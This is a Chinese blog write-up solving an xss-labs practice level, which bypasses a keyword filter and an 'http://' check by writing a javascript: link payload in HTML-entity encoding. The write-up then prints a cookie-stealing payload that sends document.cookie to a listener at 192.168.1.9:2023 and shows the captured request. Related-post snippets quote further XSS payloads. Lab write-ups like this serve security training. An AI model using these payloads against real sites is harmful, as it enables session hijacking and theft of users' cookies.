【网络安全】xss-labs level-9 解题详析

xss-labs之level9、level10 它接受两个参数:要搜索的字符串(主字符串)和要查找的子串。如果找到子串,则函数返回子串在主字符串中首次出现的位置(从 0 开始计数);,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过,但是传入的参数需要有‘http://’,所以在payload后面加上,并注释。发现有隐藏传参数t_link、t_history、t_sort,但input属性是hidden,所以需要修改为text属性。尝试了之前的payload,发现都不行,看源码发现多了个。发现并没有输入框,跳转链接,查看页面源码。 阅读详情

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

读者可参考、订阅专栏:Xss-Labs靶场攻防实战

解题步骤

逻辑后端代码:

在这里插入图片描述

该题与 level-9 的区别是,加上了对地址的判断

故我们可对初始POC使用html实体编码处理,使关键字不被过滤;再添加http://

我们看看初始POC该如何构造:

在这里插入图片描述

也就是说我们填入的内容存在于<a href=内容></a>中

而将 JavaScript 代码放在 href 属性中,当用户点击具有此链接的元素时,浏览器会执行其中的 JavaScript 代码。

所以初始POC可构造为:

javascript:alert("http://")

编码后得到

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(&quot;http://&quot;)

在这里插入图片描述

扩大危害

可以进行数据外带操作,原理及姿势参考链接:【网络安全】XSS之Cookie外带攻击姿势

脚本如下:

在这里插入图片描述
构造POC如下:

javascript:document.write('<img src="http://192.168.1.9:2023/'+document.cookie+'"/>')

将关键字进行html实体编码后得到:

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:document.write(&#x27;&#x3c;img&#x20;&#x73;&#x72;&#x63;=&#x22;http://192.168.1.9:2023/&#x27;&#x2b;document&#x2e;cookie&#x2b;&#x27;&#x22;/&#x3e;&#x27;)

在这里插入图片描述

点击 友情链接 后监听到数据:

在这里插入图片描述在这里插入图片描述

Host: 192.168.1.9:2023

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

Accept: image/avif,image/webp,*/*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://localhost/

Connection: keep-alive

burp编码工具模块的利用

Burp Suite 中涉及到编码和解码的模块是 “Encoder”(编码器)。

Burp Suite 的 “Encoder” 模块允许用户对数据进行各种编码和解码操作:

  1. URL 编码/解码,对 URL 中的特殊字符进行编码或解码,包括保留字符和非 ASCII 字符。
  2. HTML 编码/解码,对 HTML 文档中的特殊字符(如 <, >, ",')进行编码或解码。
  3. Base64 编码/解码,执行 Base64 编码和解码操作,用于在数据传输或存储中表示二进制数据。
  4. Unicode 编码/解码,将字符串转换为 Unicode 编码,或将 Unicode 编码还原为原始字符串。
  5. GZIP 压缩/解压缩,对数据执行 GZIP 压缩或解压缩操作,用于发送或接收压缩的数据。

在这里插入图片描述

以太网测试用例(光模块线缆、网卡类设备、交换类设备) LeCroy力科网络测试相关的测试用例分享:光模块/DAC/ACC/AEC/AOC测试,网卡类产品测试/GPU/DPU/SmartNIC,交换类产品测试。涉及物理层的FEC,SKEW,Tx/Rx Taps和Layer23层的网络性能测试/吞吐量延迟抖动丢包率背靠背性能,以及RDMA带状况的网络协议分析。同步提供400G高速的以太网的损伤,提供定量,可重复的负面压力测试环境。 阅读详情

相关推荐

手把手教你用vLLM在昇腾910B上部署Qwen3-Embedding-8B模型(保姆级避坑指南)

本文详细介绍了如何在昇腾910B芯片上使用vLLM推理引擎部署Qwen3-Embedding-8B模型的全流程,包括环境准备、vLLM-ascend定制化安装、模型获取与校验、环境变量配置、服务启动参数优化、性能压测及生产级部署建议。特别针对昇腾生态的开发者,提供了保姆级的避坑指南和实用技巧,帮助实现高效稳定的模型部署。

weixin_28726671的博客 462

xss-labs靶场第九关测试报告

xss-labs靶场第九关渗透测试;get型xss注入;反射型xss;绕过姿势;编码绕过;phpstudy;

ccc_9wy的博客 761

SAP EWM 内向交货流程(一)

本文介绍了SAP EWM系统中内向交货单的基本配置与操作流程。

huqinghai的专栏 2397

XSS LABS - Level 9 过关思路

可以发现,又被过滤了。找到规则漏洞了,后端检测的是字符串中只要包含。进入关卡,右击页面,查看源码,搜索关键词。往合法的链接中添加不合法内容,尝试闭合。

Blue17 の 小窝 1107

电网加密芯片全解析:分类与功能​

在电网数字化转型的浪潮中,数据安全和设备的身份认证变得愈发重要。加密芯片作为保障电网信息安全的核心部件,凭借独特的技术特性,在不同应用场景下发挥着关键作用,有力推动着智能电网的安全稳定发展。接下来,我们将对电网中常见的加密芯片展开分类介绍,并探讨其对应的功能。​。

1959

深入解析:el-table合并单元格

  在企业级应用开发中,我们经常需要处理复杂的数据展示需求。在构建复杂的数据展示后台时,我们常常需要将表格中具有相同属性的行进行视觉上的合并,以提升信息的聚合度和可读性。在 Element Plus 的 el-table 组件中,span-method 属性是实现单元格合并的核心机制,允许开发者自定义单元格的合并逻辑,开发者可以通过实现自定义合并策略来满足各种负责需求。  合并行的本质是通过计算相邻行数据的相似性,确定满足合并的单元格范围,然后通过 DOM 操作将多个单元格合并为一个。这种操作在前端数据可视

独泪了无痕 228

XSS-labs靶场实战(四)——第9-11关

今天继续给大家介绍渗透测试相关知识,本文主要内容是XSS-labs靶场实战第9-11关。 一、第九关 二、第十关 三、第十一关

永远是少年 848

【COMSOL】将一个面上数据导出CSV或txt格式的方法

在COMSOL中参数化扫描后,把一个面上或体里的数据按照CSV或TXT格式导出的方法。

dave496206的博客 2988

【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

m0_67844671的博客 7767

uniapp [安卓苹果App端] - 实现微信支付功能+拉起微信付款支付后返回本app页面,详解uniApp如何唤起本机微信app并跳转到支付页面全流程及示例源码(uniapp实现微信支付,可打包)

uni-app项目在APP端使用微信支付功能,uniapp前端实现微信支付,uniapp开发安卓App对接微信支付,uniapp苹果ios唤起微信支付,uniapp调用微信支付uniapp开发app-调用微信支付,uniapp开发安卓苹果app如何接入微信支付,前后端应该怎么做,UniApp中实现微信支付功能,支付报错,调起失败没响应,uniapp苹果微信支付唤起实现,app唤起微信支付,拉起微信支付,uniapp中唤醒微信进行支付并返回app,uniApp调起微信支付失败报错,全网最详细的uniapp微信

🏆 前端领域优质创作者 1万+

Vue3 - 实现集成配置百度语音识别转文字,长按或开启录音并将录音文件实时转换为文字,上传音频文件利用百度语音识别API转换为文本并展示(vue3百度智能云API实现上传录音文件并转换成文字案例)

vue3对接百度智能云语音识别,vue3 h5移动端网页中实现语音识别,百度语音识别录音转文字_百度智能云,vue3如何使用百度语音识别,如何将语音转文字,使用vue3实现录音并将录音转换为文字,vue3如何实现语音输入功能功能,vue3集成百度智能云API实现录音转文字详细教程完整示例代码demo,VUE3使用百度语音识别语音转文字,vue调用百度语音识别,vue3百度语音识别文字并展示功能,vue3免费语音转文本api,百度语音识别申请配置教程,Vue3项目配置自定义界面百度语音识别转文字和原生使用方式

🏆 前端领域优质创作者 2725

【网络安全】xss-labs level-4 解题详析

onblur 事件是在 HTML 元素失去焦点时触发的事件。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。可以将 onblur 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。

等风来 4208

Python航空航天设计神器!从入门到实操,小白也能搞定飞机优化

AeroSandbox的核心价值的是:​降低航空工程优化的门槛,用Python实现高效、简洁的工程设计​。无论是科研、学习还是实际项目,它都能帮你节省大量时间,不用再手动推导导数、编写复杂的优化逻辑。对于新手来说,建议先从案例1(Rosenbrock函数)入手,熟悉优化流程,再尝试案例2(翼型优化),逐步掌握核心用法;对于有航空相关需求的小伙伴,可以深入研究内置的物理模型,结合自己的项目进行定制化开发。最后,互动时间到!👉 你是用AeroSandbox做科研、练手还是实际项目?

源代码杀手的博客 124

【网络安全】xss-labs level-3 解题详析

当元素获得焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。当用户点击或选择某个元素,使其成为当前活动元素时,就会触发 onfocus 事件。当输入框获得焦点时,绑定的函数将被调用,同样会弹出一个提示框。当输入框失去焦点时,绑定的函数将被调用,同样会弹出一个提示框。函数将被调用,并弹出一个。

等风来 4283

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

【网络安全】xss-labs level-6 解题详析

使用 str_replace 函数将 <script 替换为 <scr_ipt,将 on 替换为 o_n,将 src 替换为 sr_c,将 data 替换为 da_ta,将 href 替换为 hr_ef。当元素获得焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。除了直接在 HTML 元素上使用。

等风来 4108

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

【网络安全】xss-labs level-8 解题详析

而将 JavaScript 代码放在 href 属性中,当用户点击具有此链接的元素时,浏览器会执行其中的 JavaScript 代码。相较于level-7,level-8 代码将双引号替换为quot。故我们可对初始POC使用html实体编码处理,使关键字不被过滤。也就是说我们填入的内容存在于。

等风来 4788

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

【网络安全】xss-labs level-14 解题详析

当存在 Exif XSS 漏洞时,攻击者可以在图像的 Exif 数据中插入恶意的 JavaScript 代码。当用户加载带有恶意 Exif 数据的图像时,浏览器或其他应用程序可能会错误地解析恶意代码,并在受害者的浏览器上执行它。Exif 数据是嵌入在数字图像文件中的元数据,包含有关图像的信息,如拍摄日期、相机型号、GPS 坐标等。浏览器和其他应用程序通常会解析和显示这些数据。Exif XSS 漏洞是一种安全漏洞,存在于图片的 Exif(Exchangeable Image File Format)数据中。

等风来 4452

[网络安全]xss-labs level-15 解题详析

指令是通过浏览器的XHR请求加载外部文件的。因此,需要确保被包含的文件在服务器上可访问。是AngularJS框架中的一个指令,用于在HTML页面中包含外部文件或片段。,可以将外部HTML文件的内容动态地插入到当前的HTML页面中。注意到第九行有一个ng-include属性。注意,文件路径需要用单引号或双引号括起来。的值发生更改时,将自动更新包含的文件内容。变量设置为要包含的文件路径。

等风来 4381

[网络安全]xss-labs level-17 解题详析

arg02参数出现在embed标签中最后的位置,故可使用空格构造xss语句。

等风来 4258

[网络安全]xss-labs level-20 解题详析

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

等风来 4052

[网络安全]xss-labs level-5 解题详析

以上为[网络安全]xss-labs level-5 解题详析,后续将分享[网络安全]xss-labs level-6 解题详析。我是秋说,我们下次见。

等风来 4220

[网络安全]xss-labs level-18 解题详析

arg02参数出现在embed标签中最后的位置,故可使用空格构造xss语句。

等风来 4064

【网络安全】xss-labs level-2 解题详析

通过阅读源代码可知,闭合双引号即可实现XSS。"><script>alert("qiushuo")</script><"

等风来 4110

【网络安全】xss-labs level-13 解题详析

元素上时,浏览器将执行 “onmouseover” 属性中指定的 JavaScript 代码 alert(‘Hello, World!’),然后弹出一个警告框显示 “Hello, World!“onmouseover” 是一个 HTML 属性,通常用于在鼠标悬停在元素上时触发 JavaScript 代码。str33为注入点,而str33由str11经过滤得到,str11为cookie中的user字段。

等风来 4078

[网络安全]xss-labs level-19 解题详析

Flash是一种用于创建富媒体和互动内容的广泛使用的技术,将恶意Flash文件嵌入到受信任的网页中,当用户访问包含恶意Flash文件的页面时,Flash文件会在用户的浏览器中执行。Flash XSS(Cross-Site Scripting)是指针对使用Adobe Flash技术开发的应用程序的跨站脚本攻击。由于浏览器的flash问题,本题不做详细描述。该题涉及flash xss知识点。

等风来 4245

[网络安全]xss-labs level-16 解题详析

代码对keyword参数进行过滤,如script标签、空格等。

等风来 4049
上一篇: 【网络安全】xss-labs level-8 解题详析
下一篇: [网络安全]xss-labs level-10 解题详析
秋说
秋说 优质创作者: 编程框架、信息安全技术领域 优质创作者: 编程框架、信息安全技术领域
博客等级 码龄4年 3万+粉丝 1906原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值